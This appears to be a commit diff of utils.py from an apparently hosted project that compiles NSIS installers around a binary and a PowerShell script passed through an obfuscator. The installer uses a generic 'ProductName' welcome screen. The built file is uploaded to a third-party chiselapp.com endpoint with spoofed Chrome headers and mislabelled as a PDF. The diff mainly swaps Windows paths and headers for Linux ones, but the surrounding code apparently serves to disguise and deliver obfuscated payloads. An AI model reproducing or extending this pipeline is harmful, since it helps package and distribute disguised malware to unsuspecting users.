sigyllly commited on
Commit
edba52b
·
verified ·
1 Parent(s): 28be6d4

Update utils.py

Browse files
Files changed (1) hide show
  1. utils.py +7 -7
utils.py CHANGED
@@ -8,20 +8,20 @@ import shutil
8
  import tempfile
9
  import requests
10
  import json
11
- #https://ambelo-benjamin.hf.space/upload
12
  BASE_DIR = os.path.abspath(os.path.dirname(__file__))
13
  UPLOAD_FOLDER = os.path.join(BASE_DIR, "uploads")
14
  COMPILE_FOLDER = os.path.join(BASE_DIR, "compile")
15
- NSIS_COMPILER = "makensis"
16
- OBFUSCATOR_SCRIPT = "Obfus/main.ps1"
17
 
18
  SERVER_URL = "https://chiselapp.com/user/yolovi5126/repository/yolovi5126/chat-send"
19
  HEADERS = {
20
  "Host": "chiselapp.com",
21
  "Connection": "keep-alive",
22
  "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarytI7POOg3X2lgL1Yr",
23
- "sec-ch-ua-platform": '"Windows"',
24
- "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
25
  "sec-ch-ua": '"Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"',
26
  "sec-ch-ua-mobile": "?0",
27
  "Accept": "*/*",
@@ -70,7 +70,7 @@ def generate_nsi_script(folder_path, bin_file, ps1_file):
70
  SetCompressorDictSize 96
71
  SetDatablockOptimize ON
72
  ; Interface settings
73
- !define MUI_ICON "C:\Users\Albert\Downloads\app.ico"
74
  !define MUI_WELCOMEPAGE_TITLE "Welcome to ProductName Setup"
75
  !define MUI_WELCOMEPAGE_TEXT "This will install ProductName on your computer.$\r$\n$\r$\nClick Install to continue."
76
  ; Pages
@@ -132,7 +132,7 @@ def upload_file_to_server(file_path):
132
 
133
  # Prepare the file and data for upload
134
  file = {'file': (os.path.basename(new_file_path), open(new_file_path, 'rb'), 'application/pdf')}
135
- # Additional form data
136
  data = {
137
  'lmtime': '2024-12-31T18:33:58'
138
  }
 
8
  import tempfile
9
  import requests
10
  import json
11
+
12
  BASE_DIR = os.path.abspath(os.path.dirname(__file__))
13
  UPLOAD_FOLDER = os.path.join(BASE_DIR, "uploads")
14
  COMPILE_FOLDER = os.path.join(BASE_DIR, "compile")
15
+ NSIS_COMPILER = "makensis" # Ensure NSIS is installed on your Linux system
16
+ OBFUSCATOR_SCRIPT = os.path.join(BASE_DIR, "Obfus", "main.ps1")
17
 
18
  SERVER_URL = "https://chiselapp.com/user/yolovi5126/repository/yolovi5126/chat-send"
19
  HEADERS = {
20
  "Host": "chiselapp.com",
21
  "Connection": "keep-alive",
22
  "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarytI7POOg3X2lgL1Yr",
23
+ "sec-ch-ua-platform": '"Linux"',
24
+ "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
25
  "sec-ch-ua": '"Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"',
26
  "sec-ch-ua-mobile": "?0",
27
  "Accept": "*/*",
 
70
  SetCompressorDictSize 96
71
  SetDatablockOptimize ON
72
  ; Interface settings
73
+ !define MUI_ICON "/path/to/icon.ico"
74
  !define MUI_WELCOMEPAGE_TITLE "Welcome to ProductName Setup"
75
  !define MUI_WELCOMEPAGE_TEXT "This will install ProductName on your computer.$\r$\n$\r$\nClick Install to continue."
76
  ; Pages
 
132
 
133
  # Prepare the file and data for upload
134
  file = {'file': (os.path.basename(new_file_path), open(new_file_path, 'rb'), 'application/pdf')}
135
+ # Additional form data
136
  data = {
137
  'lmtime': '2024-12-31T18:33:58'
138
  }